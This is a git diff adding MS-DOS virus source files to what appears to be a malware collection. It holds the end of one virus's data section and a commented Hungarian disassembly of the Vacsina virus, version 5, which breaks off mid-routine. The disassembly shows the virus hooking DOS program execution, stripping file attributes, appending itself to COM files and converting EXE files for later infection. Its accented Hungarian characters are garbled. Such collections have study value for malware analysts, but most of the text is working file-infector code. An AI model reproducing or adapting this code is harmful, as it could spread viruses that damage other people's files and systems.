',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,'',10,'',10,'',10,'',10,'' + DB 10,'',10,'',10,'',10,'',10,'',10,'',10,'',10,'' + DB 10,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,'',6,'',6,'',6,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',6,' ',6,' ',6,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ' + DB 6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ' + DB 6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ' + DB 6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ' + DB 6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ' + DB 6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ' + DB 6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ' + DB 6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ' + DB 6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ' + DB 6,' ',6 + +olddta_ DW 0 +olddts_ DW 0 +oldtim_ DW 0 +oldate_ DW 0 +oldatt_ DW 0 +first3_ EQU $ + INT 20H + NOP +jmpop_ DB 0E9H +jmpdsp_ DW 0 +pathad_ DW 0 +namptr_ DW 0 +envstr_ DB 'PATH=' +fspec_ DB '*.COM',0 +wrkspc_ DB 40h dup (0) +dta_ DB 16h dup (0) +dtatim_ DW 0,0 +dtalen_ DW 0,0 +dtanam_ DB 0Dh dup (0) +lst_byt EQU $ + +virlen = lst_byt - v_start +codelen = vir_dat - v_start +c_len_x = vir_dat - v_start - 2 +c_len_y = vir_dat - v_start + 100H +old_dta = olddta_ - vir_dat +old_dts = olddts_ - vir_dat +old_tim = oldtim_ - vir_dat +ol_date = oldate_ - vir_dat +old_att = oldatt_ - vir_dat +first_3 = first3_ - vir_dat +jmp_op = jmpop_ - vir_dat +jmp_dsp = jmpdsp_ - vir_dat +f_spec = fspec_ - vir_dat +path_ad = pathad_ - vir_dat +nam_ptr = namptr_ - vir_dat +env_str = envstr_ - vir_dat +wrk_spc = wrkspc_ - vir_dat +dta = dta_ - vir_dat +dta_tim = dtatim_ - vir_dat +dta_len = dtalen_ - vir_dat +dta_nam = dtanam_ - vir_dat + + CODE ENDS +END VCODE + + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.vac_tp05.asm b/MSDOS/Virus.MSDOS.Unknown.vac_tp05.asm new file mode 100644 index 00000000..324a8704 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.vac_tp05.asm @@ -0,0 +1,896 @@ + + *************************** + * A Vacsina 5-s verzija * + *************************** + +A vrus a memriban val elhelyezkedse s CS-e szerint van listzva. + +A vrus hossza COM fileban 1206D-1221D, EXE fileban 132D, illetve 1338D-1353D by + te. + +Nem zenl, semmi krt nem tesz. (Csak a fileok idejt nem lltja vissza. ) + +A fileokat a 4B DOS funkci meghvsakor fertzi meg. + +Egy file fertzttsgt az utols 8 bytebl llaptja meg. Bvebb lerst lsd + ott. Kirtsa is +ez alapjn trtnhet. + +1206D-nl hosszabb,62867D-nl rvidebb,JMP-pal kezdd COM fileokat, valamint a + 64947D-nl rvidebb +EXE fileokat fertzi.A COM fileokat paragrafushatrra kerekti, majd a lejjebb l + that formban +az egsz vrust a memrialer blokkjval egytt a filehoz msolja. Fertzs ut + n egy bip hangot +hallat. A fertzs idejre egy VACSINA nev filet megnyit, de semmit sem csinl + vele. Futtatskor +az eredeti 3 byteot nem rja vissza, hanem direkt oda ugrik, ahova a file elei J + MP mutatott. +EXE filehoz, ha a headerje stimmel, 0039-tl 0084 byteot fz (nincs kerekts). + Ez a rsz semmit +sem csinl, csak futtatja az eredeti EXE-t. Clja, hogy EXE-bl COM-ot csinljon + ,gy a vrus ksbb +mr megfertzheti.rdekes,hogy majdnem ugyanezt a kdsorozatot talltam tbb ere + deti MS-DOS 3.10-s +fileon (DEBUG,PRINT,...). Igy a vrusr ezt a rszt (az EXE-k reloklst) inne + n vette. Feltte- +lezem, hogy van egy olyan EXE2BIN program, ami nem reloklhat EXE-ket is COM-m + alakt. Innen +szrmazhat ez a kdrszlet. + +Azt, hogy mr a memriban van-e a Vacsina a 0000:00C5-n ehelyezett 397F azonos + tszbl llapitja +meg. 0000:00C7-re helyezi a vrus verziszmt. + + + +FFF0 MLB DB 4D ;A vrus egy kln memriablokkban helyezkedik + el. +FFF1 MLB_GAZDA DW ? ;Furcsa mdon ezt is "cipeli" magval +FFF3 MLB_HOSSZ DW ? ;Memriablokk hossza paragrafusokban +FFF5 DB 0B DUP ? + + + ;--------------------------------------------------------------- + ; Vltozk + ;--------------------------------------------------------------- + +0000 ERE_INT21 DD ? ;INT 21 eredeti cme +0004 ERE_INT24 DD ? ;INT 24 eredeti cme +0008 F_ATTR DW ? ;File eredeti attributtuma +000A HANDLE DW ? ;File handle +000C BUFFER DB 8 DUP (?) ;8 byte beffer + + + ; Egy szabvnyos FCB + +0014 FCB DB 0 ;Aktulis drive +0015 DB 'VACSINA ' ;File nv +0020 DW ? ;Kurrens blokk +0022 DW ? ;Rekordhossz +0024 DD ? ;File hossz +0028 DW ? ;Dtum +002A DW ? ;Id +002C DB 8 DUP (?) ;Lefoglalt +0034 DB ? ;Rekordszm a blokkban +0035 DD ? ;Random rekord + + + ;------------------------------------------------------------------ + ;EXE filehoz csak az innentl kezdd 0084 (132D) byteot rja hozz + ;------------------------------------------------------------------ + +0039 DB ' ' ;20 db SPC + + ORG 0045 ;tfeds 0045-004C-ig + +0045 KEZD_IP DW ? ;ip kezdeti rtke ez lesz +0047 KEZD_CS DW ? ;cs kezdeti rtke ez lesz +0049 KEZD_SP DW ? ;sp kezdeti rtke ez lesz +004B KEZD_SS DW ? ;ss kezdeti rtke ez lesz + + ;--------------------------------------------------------------- + ; Belpsi pont eredetileg EXE filenl + ;--------------------------------------------------------------- + ;Ezzel a rsszel ri el, hogy egy EXE file COM formtum legyen s lehessen + fertzni + +004D E80000 CALL 0050 +0050 5B * POP BX ;bx=0050 +0051 50 PUSH AX +0052 8CC0 MOV AX,ES +0054 051000 ADD AX,0010 ;ax a program leend elejre mutat +0057 8B0E0E01 MOV CX,[010E] ;Stack tvolsg +005B 03C8 ADD CX,AX ;Mi lesz ss kezdeti rtke +005D 894FFB MOV [BX-05],CX ;KEZD_SS (004B) +0060 8B0E1601 MOV CX,[0116] ;Kdterlet tvolsga +0064 03C8 ADD CX,AX +0066 894FF7 MOV [BX-09],CX ;KEZD_CS (0047) +0069 8B0E1001 MOV CX,[0110] ;sp kezdeti rtke +006D 894FF9 MOV [BX-07],CX ;KEZD_SP (0049) +0070 8B0E1401 MOV CX,[0114] ;ip kezdeti rtke +0074 894FF5 MOV [BX-0B],CX ;KEZD_IP (0045) +0077 8B3E1801 MOV DI,[0118] ;Els reklokcis bejegyzs +007B 8B160801 MOV DX,[0108] ;Header hossza paragrafusban +007F B104 MOV CL,04 +0081 D3E2 SHL DX,CL ;Header hossza byteokban +0083 8B0E0601 MOV CX,[0106] ;Relokcis bejegyzsek szma +0087 E317 JCXZ 00A0 ;Ugrs, ha nincs mit reloklni + + + ; Relokls ciklusa + +0089 26 * ES: +008A C5B50001 LDS SI,[DI+0100] ;Hol kell reloklni +008E 83C704 ADD DI,+04 ;Kvetkez relokcis bejegyzs +0091 8CDD MOV BP,DS +0093 26 ES: +0094 032E0801 ADD BP,[0108] ;Header hossza paragrafusban +0098 03E8 ADD BP,AX ;ax=program (file) valdi kezdete +009A 8EDD MOV DS,BP ;Itt kell reloklni +009C 0104 ADD [SI],AX ;Relokci +009E E2E9 LOOP 0089 + + + ; Az treloklt programot a helyre rakja + +00A0 0E * PUSH CS +00A1 1F POP DS ;ds=cs +00A2 BF0001 MOV DI,0100 +00A5 8BF2 MOV SI,DX ;dx=Header hossza byteokban +00A7 81C60001 ADD SI,0100 +00AB 8BCB MOV CX,BX ;Mennyi byteot kell mozgatni ? (Ez e + gy kicsit tbb) +00AD 2BCE SUB CX,SI +00AF F3 REPZ +00B0 A4 MOVSB + + + ; Az eredeti EXE program futtatsa + +00B1 58 POP AX ;ax eredeti rtke +00B2 FA CLI +00B3 8E57FB MOV SS,[BX-05] ;KEZD_SS +00B6 8B67F9 MOV SP,[BX-07] ;KEZD_SP +00B9 FB STI +00BA FF6FF5 JMP FAR [BX-0B] ;KEZD_IP, KEZD_CS + + + ;--------------------------------------------------------------- + ; INT 24 (DOS kritikus hibakezelje) + ;--------------------------------------------------------------- + + +00BD B003 * MOV AL,03 ;DOS hibt jelezzen +00BF CF IRET + + + ;--------------------------------------------------------------- + ; INT 21 (DOS belpsi pontja) + ;--------------------------------------------------------------- + ; Csak a 4B00 (EXECUTE) funkcinl avatkozik kzbe + +00C0 9C * PUSHF +00C1 3D004B CMP AX,4B00 +00C4 7406 JZ 00CC +00C6 9D POPF +00C7 2E CS: +00C8 FF2E0000 JMP FAR [0000] + + + + ; A DOS 4B00 alfunkcija + +00CC 06 * PUSH ES ;bp+10 +00CD 1E PUSH DS ;bp+0E +00CE 55 PUSH BP ;bp+0C +00CF 57 PUSH DI ;bp+0A +00D0 56 PUSH SI ;bp+08 +00D1 52 PUSH DX ;bp+06 +00D2 51 PUSH CX ;bp+04 +00D3 53 PUSH BX ;bp+02 +00D4 50 PUSH AX ;bp+00 +00D5 8BEC MOV BP,SP + + + ; INT 24 lekrdezse, trsa + +00D7 B82435 MOV AX,3524 ;GET_INT_VECT (es:bx) +00DA CD21 INT 21 +00DC 2E CS: +00DD 8C060600 MOV [0006],ES ;ERE_INT24+2 +00E1 2E CS: +00E2 891E0400 MOV [0004],BX ;ERE_INT24 +00E6 0E PUSH CS +00E7 1F POP DS +00E8 BABD00 MOV DX,00BD +00EB B82425 MOV AX,2524 ;SET_INT_VECT (ds:dx) +00EE CD21 INT 21 + + + ; A VACSINA nev file megnyitsa (valsznleg a vrus nyomonkvetse miatt + ) + +00F0 0E PUSH CS ;Megj.:felesleges +00F1 1F POP DS +00F2 BA1400 MOV DX,0014 +00F5 B40F MOV AH,0F ;OPEN_FCB (ds:dx) +00F7 CD21 INT 21 + + + ; File eredeti attributtumnak lekrdezse, R/O bit trlse + +00F9 B80043 MOV AX,4300 ;GET_FILE_ATTR (cx) +00FC 8E5E0E MOV DS,[BP+0E] +00FF 8B5606 MOV DX,[BP+06] +0102 CD21 INT 21 +0104 7303 JNB 0109 +0106 E9DA01 JMP 02E3 ;Hibnl +0109 2E * CS: +010A 890E0800 MOV [0008],CX ;F_ATTR +010E B80143 MOV AX,4301 ;SET_FILE_ATTR (cx) +0111 80E1FE AND CL,FE ;R/O bit trlse +0114 CD21 INT 21 +0116 7303 JNB 011B +0118 E9C801 JMP 02E3 ;Hibnl + + + ; Clbavett file megnyitsa + ; HIBA !!! A file eredeti idejt nem krdezi le s nem lltja vissza. + +011B B8023D * MOV AX,3D02 ;OPEN_HANDLE (dx:dx) +011E 8E5E0E MOV DS,[BP+0E] +0121 8B5606 MOV DX,[BP+06] +0124 CD21 INT 21 +0126 7303 JNB 012B +0128 E9A801 JMP 02D3 ;Hibnl +012B 2E * CS: +012C A30A00 MOV [000A],AX ;HANDLE +012F 8BD8 MOV BX,AX + + + ; File els 6 bytejnak beolvassa a BUFFER-be + +0131 0E PUSH CS +0132 1F POP DS +0133 BA0C00 MOV DX,000C ;offset BUFFER +0136 B90600 MOV CX,0006 ;6 byte olvassa +0139 B43F MOV AH,3F ;READ_HANDLE (bx,ds:dx,cx) +013B CD21 INT 21 +013D 7219 JB 0158 ;Hibnl +013F 3D0600 CMP AX,0006 +0142 7514 JNZ 0158 + + + ; EXE-e a kiszemelt file ? + +0144 2E CS: +0145 813E0C004D5A CMP WORD PTR [000C],5A4D;EXE file-e +014B 7503 JNZ 0150 +014D E9B501 JMP 0305 + + + ;--------------------------------------------------------------- + ; COM file + ;--------------------------------------------------------------- + +0150 2E * CS: +0151 803E0C00E9 CMP BYTE PTR [000C],E9 ;Csak akkor fertzzk, ha JMP-pal kez + ddik +0156 7403 JZ 015B + + + ; Segdugrs hibnl + +0158 E96F01 * JMP 02CA + + + ; 1206D < file hossz < 62867D + +015B B80242 * MOV AX,4202 ;File vgre lls +015E B90000 MOV CX,0000 +0161 8BD1 MOV DX,CX +0163 2E CS: +0164 8B1E0A00 MOV BX,[000A] ;HANDLE +0168 CD21 INT 21 ;dx:ax=file hossz +016A 72EC JB 0158 ;Hibnl +016C 83FA00 CMP DX,+00 +016F 75E7 JNZ 0158 +0171 3DB604 CMP AX,04B6 +0174 76E2 JBE 0158 +0176 3D93F5 CMP AX,F593 +0179 73DD JNB 0158 + + + ; File adatainak eltrolsa + +017B 2E CS: +017C A39E04 MOV [049E],AX ;ERE_HOSSZ +017F 2E CS: +0180 A10D00 MOV AX,[000D] ;File 2.,3. byteja +0183 050301 ADD AX,0103 ;+ 0103 +0186 2E CS: +0187 A3A004 MOV [04A0],AX ;ERE_2_3 + + + ; File utols 8 bytejnak beolvassa + +018A B80242 MOV AX,4202 ;File vge-8-dik pozcira +018D B9FFFF MOV CX,FFFF +0190 BAF8FF MOV DX,FFF8 +0193 2E CS: +0194 8B1E0A00 MOV BX,[000A] ;HANDLE +0198 CD21 INT 21 +019A 72BC JB 0158 ;Hibnl +019C 2E CS: +019D 8B1E0A00 MOV BX,[000A] ;HANDLE +01A1 0E PUSH CS +01A2 1F POP DS +01A3 BA0C00 MOV DX,000C ;offset BUFFER +01A6 B90800 MOV CX,0008 ;8 byte olvassa +01A9 B43F MOV AH,3F ;READ_HANDLE (bx,ds:dx,cx) +01AB CD21 INT 21 +01AD 72A9 JB 0158 ;Hibnl +01AF 3D0800 CMP AX,0008 +01B2 75A4 JNZ 0158 ;Hibnl + + + ; Fertztt-e mr a file + +01B4 2E CS: +01B5 813E1000F47A CMP WORD PTR [0010],7AF4;Azonostsz +01BB 7577 JNZ 0234 ;Mg nem ferztt +01BD 2E CS: +01BE 833E120005 CMP WORD PTR [0012],+05 ;Verziszm +01C3 90 NOP +01C4 7392 JNB 0158 ;Nem fertzzk + + + ;--------------------------------------------------------------- + ; Egy korbbi Vacsina mr megfertzte (azt kirtja) + ;--------------------------------------------------------------- + ; Fertztt file eredeti adatai + +01C6 2E CS: +01C7 A10C00 MOV AX,[000C] ;ERE_HOSSZ +01CA 2E CS: +01CB A39E04 MOV [049E],AX ;ERE_HOSSZ +01CE 2E CS: +01CF A10E00 MOV AX,[000E] ;ERE_2_3 +01D2 2E CS: +01D3 A3A004 MOV [04A0],AX ;ERE_2_3 +01D6 2D0301 SUB AX,0103 +01D9 2E CS: +01DA A30C00 MOV [000C],AX ;Eredeti 2.,3. byteja a filenak + + + ; File eredeti 2.,3. bytejnak visszarsa + +01DD B80042 MOV AX,4200 ;File 2. bytejra ll +01E0 B90000 MOV CX,0000 +01E3 BA0100 MOV DX,0001 +01E6 2E CS: +01E7 8B1E0A00 MOV BX,[000A] ;HANDLE +01EB CD21 INT 21 +01ED 725F JB 024E ;Hibnl +01EF B440 MOV AH,40 ;WRITE_HANDLE (bx,ds:dx,cx) +01F1 0E PUSH CS +01F2 1F POP DS +01F3 BA0C00 MOV DX,000C ;offset BUFFER +01F6 B90200 MOV CX,0002 ;2 byte rsa +01F9 CD21 INT 21 +01FB 7251 JB 024E ;Hibnl +01FD 3D0200 CMP AX,0002 +0200 754C JNZ 024E ;Hibnl + + + ; Directory bejegyzs aktualizlsa + +0202 2E CS: +0203 8B1E0A00 MOV BX,[000A] ;HANDLE +0207 B445 MOV AH,45 ;DUPLICATE_HANDLE (bx) +0209 CD21 INT 21 +020B 7208 JB 0215 ;Hibnl +020D 8BD8 MOV BX,AX +020F B43E MOV AH,3E ;CLOSE_HANDLE (bx) +0211 CD21 INT 21 +0213 7239 JB 024E ;Hibnl + + + ; File eredeti mretre vgsa + +0215 B80042 MOV AX,4200 ;File eredeti vgre ll +0218 B90000 MOV CX,0000 +021B 2E CS: +021C 8B169E04 MOV DX,[049E] ;ERE_HOSSZ +0220 2E CS: +0221 8B1E0A00 MOV BX,[000A] ;HANDLE +0225 CD21 INT 21 +0227 7225 JB 024E ;Hibnl +0229 B440 MOV AH,40 ;WRITE_HANDLE (bx,ds:dx,cx) +022B 0E PUSH CS +022C 1F POP DS +022D B90000 MOV CX,0000 ;Csonkols +0230 CD21 INT 21 +0232 721A JB 024E ;Hibnl + + + ; COM file megfertzse + ; Filehossz kerektse paragrafushatrra + +0234 B80042 * MOV AX,4200 +0237 B90000 MOV CX,0000 +023A 2E CS: +023B 8B169E04 MOV DX,[049E] ;ERE_HOSSZ +023F 83C20F ADD DX,+0F +0242 83E2F0 AND DX,-10 ;Kerekts +0245 2E CS: +0246 8B1E0A00 MOV BX,[000A] ;HANDLE +024A CD21 INT 21 +024C 7303 JNB 0251 + + + ; Segdugrs hibnl + +024E EB7A * JMP 02CA ;Hibnl +0250 90 NOP + + + ; A vrus memrialer blokkjval egytt hozzmsolja magt a filehoz + +0251 2E CS: +0252 8B1E0A00 MOV BX,[000A] ;HANDLE +0256 8CCA MOV DX,CS +0258 4A DEC DX +0259 8EDA MOV DS,DX ;ds=cs-1 (mem.ler blokkra mutat) +025B BA0000 MOV DX,0000 +025E B9B604 MOV CX,04B6 ;Vrus hossza (1206) +0261 B440 MOV AH,40 ;WRITE_HANDLE (bx,ds:dx,cx) +0263 CD21 INT 21 +0265 72E7 JB 024E ;Hibnl +0267 3DB604 CMP AX,04B6 +026A 75E2 JNZ 024E ;Hibnl + + + ; Directory bejegyzs aktualizlsa + +026C 2E CS: +026D 8B1E0A00 MOV BX,[000A] ;HANDLE +0271 B445 MOV AH,45 ;DUPLICATE_HANDLE (bx) +0273 CD21 INT 21 +0275 7208 JB 027F ;Hibnl +0277 8BD8 MOV BX,AX +0279 B43E MOV AH,3E ;CLOSE_HANDLE (bx) +027B CD21 INT 21 +027D 72CF JB 024E ;Hibnl + + + ; File leend els 3 bytejnak kiszmtsa + +027F 2E CS: +0280 C6060C00E9 MOV BYTE PTR [000C],E9 ;JMP kdja +0285 2E CS: +0286 8B169E04 MOV DX,[049E] ;ERE_HOSSZ +028A 83C20F ADD DX,+0F +028D 83E2F0 AND DX,-10 ;Kerekts +0290 83EA03 SUB DX,+03 ;-3 a JMP miatt +0293 81C2AC03 ADD DX,03AC ;Belpsi pont eltolsa a file vgh + ez kpest +0297 2E CS: +0298 89160D00 MOV [000D],DX ;JMP operandusa + + + ; File els 3 bytejnak trsa + +029C B80042 MOV AX,4200 ;File elejre +029F B90000 MOV CX,0000 +02A2 8BD1 MOV DX,CX +02A4 2E CS: +02A5 8B1E0A00 MOV BX,[000A] ;HANDLE +02A9 CD21 INT 21 +02AB 72A1 JB 024E ;Hibnl +02AD 2E CS: +02AE 8B1E0A00 MOV BX,[000A] ;HANDLE +02B2 0E PUSH CS +02B3 1F POP DS +02B4 BA0C00 MOV DX,000C ;offset BEFFER +02B7 B90300 MOV CX,0003 ;3 byte rsa +02BA B440 MOV AH,40 ;WRITE_HANDLE (bx,ds:dx,cx) +02BC CD21 INT 21 +02BE 728E JB 024E ;Hibnl +02C0 3D0300 CMP AX,0003 +02C3 7589 JNZ 024E ;Hibnl + + + ; Egy BELL kiadsa (Valsznleg ez a verzi mg tesztpldny) + +02C5 B8070E MOV AX,0E07 ;WRITE_TELETYPE +02C8 CD10 INT 10 + + + ; File lezrsa + +02CA B43E * MOV AH,3E ;CLOSE_HANDLE (bx) +02CC 2E CS: +02CD 8B1E0A00 MOV BX,[000A] ;HANDLE +02D1 CD21 INT 21 + + + ; File eredeti attributtumnak visszalltsa + +02D3 B80143 * MOV AX,4301 ;SET_FILE_ATTR (cx) +02D6 8E5E0E MOV DS,[BP+0E] ;File nevre mutat +02D9 8B5606 MOV DX,[BP+06] +02DC 2E CS: +02DD 8B0E0800 MOV CX,[0008] ;F_ATTR +02E1 CD21 INT 21 + + + ; A VACSINA nev file lezrsa (j dtumot kap, semmi ms) + +02E3 0E * PUSH CS +02E4 1F POP DS +02E5 BA1400 MOV DX,0014 ;FCB +02E8 B410 MOV AH,10 ;CLOSE_FCB +02EA CD21 INT 21 + + + ; INT 24 visszarsa, eredeti DOS funkci hvsa + +02EC B82425 MOV AX,2524 ;SET_INT_VECT (ds:dx) +02EF 2E CS: +02F0 C5160400 LDS DX,[0004] ;ERE_INT24 +02F4 CD21 INT 21 +02F6 58 POP AX +02F7 5B POP BX +02F8 59 POP CX +02F9 5A POP DX +02FA 5E POP SI +02FB 5F POP DI +02FC 5D POP BP +02FD 1F POP DS +02FE 07 POP ES +02FF 9D POPF +0300 2E CS: +0301 FF2E0000 JMP FAR [0000] ;ERE_INT21 + + + ;--------------------------------------------------------------- + ; EXE file COM-m alktsa + ;--------------------------------------------------------------- + ; file hossz < 64947D + +0305 B80242 * MOV AX,4202 ;File vgre ll +0308 B90000 MOV CX,0000 +030B 8BD1 MOV DX,CX +030D 2E CS: +030E 8B1E0A00 MOV BX,[000A] ;HANDLE +0312 CD21 INT 21 +0314 72B4 JB 02CA ;Hibnl +0316 83FA00 CMP DX,+00 +0319 75AF JNZ 02CA +031B 3DB3FD CMP AX,FDB3 ;64947D +031E 73AA JNB 02CA + + + ; Stimmel-e az EXE headerje? + +0320 2E CS: +0321 A39E04 MOV [049E],AX ;ERE_HOSSZ +0324 2E CS: +0325 A11000 MOV AX,[0010] ;Filehossz lapokban +0328 48 DEC AX +0329 B109 MOV CL,09 ;* 512D +032B D3E0 SHL AX,CL +032D 2E CS: +032E 03060E00 ADD AX,[000E] ;+a maradk +0332 2E CS: +0333 3B069E04 CMP AX,[049E] ;Egyezik-e a hosszal? +0337 7591 JNZ 02CA ;Ha nem + + + ; A vrus egy rszt hozzfzi az EXE-hez (Igy COM lehet majd az EXE) + +0339 2E CS: +033A 8B1E0A00 MOV BX,[000A] ;HANDLE +033E B440 MOV AH,40 ;WRITE_HANDLE (bx,ds:dx,cx) +0340 0E PUSH CS +0341 1F POP DS +0342 BA3900 MOV DX,0039 ;Innentl +0345 B98400 MOV CX,0084 ;132D byte kirsa +0348 CD21 INT 21 +034A 72C8 JB 0314 ;Hibnl +034C 3D8400 CMP AX,0084 +034F 75E6 JNZ 0337 ;Hibnl + + + ; Directory bejegyzs aktualizlsa + +0351 2E CS: +0352 8B1E0A00 MOV BX,[000A] ;HANDLE +0356 B445 MOV AH,45 ;DUPLICATE_HANDLE (bx) +0358 CD21 INT 21 +035A 7208 JB 0364 ;Hibnl +035C 8BD8 MOV BX,AX +035E B43E MOV AH,3E ;CLOSE_HANDLE (bx) +0360 CD21 INT 21 +0362 72B0 JB 0314 ;Hibnl + + + ; File eljre + +0364 B80042 MOV AX,4200 +0367 B90000 MOV CX,0000 +036A 8BD1 MOV DX,CX +036C 2E CS: +036D 8B1E0A00 MOV BX,[000A] ;HANDLE +0371 CD21 INT 21 +0373 729F JB 0314 ;Hibnl + + + ; Leend els 3 byte kiszmtsa + +0375 2E CS: +0376 C6060C00E9 MOV BYTE PTR [000C],E9 ;JMP kdja +037B 2E CS: +037C A19E04 MOV AX,[049E] ;ERE_HOSSZ +037F 051100 ADD AX,0011 ;0039+0011+3=004D a belpsi pont +0382 2E CS: +0383 A30D00 MOV [000D],AX ;JMP operandusa + + + ; Az els 3 byte fellrsa + +0386 2E CS: +0387 8B1E0A00 MOV BX,[000A] ;HANDLE +038B B440 MOV AH,40 ;WRITE_HANDLE +038D 0E PUSH CS +038E 1F POP DS +038F BA0C00 MOV DX,000C ;offset BUFFER +0392 B90300 MOV CX,0003 ;3 byte rsa +0395 CD21 INT 21 ;COM tpus lesz a file +0397 E930FF JMP 02CA ;Vge + ;Megj.:Ha itt egy JMP 0150 llna egybl fertzhetne + EXE-t + + + ;--------------------------------------------------------------- + ; Vltoz (ax eredeti rtke) + ;--------------------------------------------------------------- + +039A ERE_AX DW ? + + + ;--------------------------------------------------------------- + ; Belpsi pont COM programnl + + ;--------------------------------------------------------------- + +039C E80000 * CALL 039F +039F 5B * POP BX ;bx=039F +03A0 2E CS: +03A1 8947FB MOV [BX-05],AX ;ERE_AX (039A) + + + ; Annak eldntse, hogy a memriban ven-e mr Vacsina + +03A4 B80000 MOV AX,0000 +03A7 8EC0 MOV ES,AX +03A9 26 ES: +03AA A1C500 MOV AX,[00C5] ;INT 31 vektornak 2.,3. byteja +03AD 3D7F39 CMP AX,397F ;Van-e mr Vacsina a memriban ? +03B0 7508 JNZ 03BA ;Ugrs, ha mg nem. +03B2 26 ES: +03B3 A0C700 MOV AL,[00C7] ;Memriban lv vrus verziszma +03B6 3C05 CMP AL,05 ;Ennek a vrusnak a verziszma +03B8 7332 JNB 03EC ;Ugrs, ha jjabb vagy ez a verzi + + + ; Van-e elg szadab memria + +03BA 8BD4 * MOV DX,SP +03BC 2BD3 SUB DX,BX +03BE 81EA6C0B SUB DX,0B6C +03C2 7228 JB 03EC ;Ugrs, ha nincs elg szabad memria + + + ;A vrus kln memriablokkba fog kerlni, aminek ler blokkja a vrus el + tt helyezkedik el. + ;Ennek a memriablokknak hosszt lltja itt be. + +03C4 BAC504 MOV DX,04C5 ;Vrus ltal ignyelt memria + 0F +03C7 B104 MOV CL,04 +03C9 D3EA SHR DX,CL ;DIV 10 +03CB 2E CS: +03CC 899754FC MOV [BX+FC54],DX ;MLB_HOSSZ (FFF3) Memrialer blokk + hossza + + + ; A vrus htrbb msolja magt (004C paragrafussal) + +03D0 8CD9 MOV CX,DS +03D2 03D1 ADD DX,CX +03D4 8EC2 MOV ES,DX ;Ide kell htrbbmozgatni mindent +03D6 8BF3 MOV SI,BX +03D8 81C651FC ADD SI,FC51 ;si=FFF0 (vrus a hozz csatolt mem + rialer blokkal) +03DC 8BFE MOV DI,SI ;Ugyanilyen offset helyre msol +03DE B9B604 MOV CX,04B6 ;Vrus hossza +03E1 FC CLD +03E2 F3 REPZ +03E3 A4 MOVSB + + + ; A vezrls tkerl a "msolat" vrusra + +03E4 06 PUSH ES +03E5 E80300 CALL 03EB +03E8 EB13 JMP 03FD ;es:03FD-n folytatdik +03EA 90 NOP +03EB CB * RETF + + + ; Az eredeti program futtatsa + +03EC 8CC8 * MOV AX,CS +03EE 8ED8 MOV DS,AX ;Szegmensregiszterek belltsa +03F0 8EC0 MOV ES,AX +03F2 8ED0 MOV SS,AX +03F4 2E CS: +03F5 8B47FB MOV AX,[BX-05] ;ERE_AX (039A) +03F8 2E CS: +03F9 FFA70101 JMP [BX+0101] ;ERE_2_3 (04A0) Hol kezddtt az ered + eti program? + + + ; Ide kerl a vezrls a mr lemsolt vrusban (03E8-rl) + ; Az eredeti programot, PSP-jt, mem.ler blokkjt is htrbb mozgatjuk + +03FD BE0000 * MOV SI,0000 ;Megj.: felesleges +0400 BF0000 MOV DI,0000 +0403 8BCB MOV CX,BX ;bx=039F +0405 81C161FC ADD CX,FC61 ;cx=0000 (eredeti program+PSP+mem.le + r blokk hossza) +0409 8CC2 MOV DX,ES +040B 4A DEC DX +040C 8EC2 MOV ES,DX ;szegmens--, mert a mem.ler blokkot + is msoljuk +040E 8CDA MOV DX,DS +0410 4A DEC DX +0411 8EDA MOV DS,DX +0413 03F1 ADD SI,CX +0415 4E DEC SI ;Visszafel msolunk azrt kell +0416 8BFE MOV DI,SI +0418 FD STD +0419 F3 REPZ +041A A4 MOVSB +041B FC CLD + + + ; 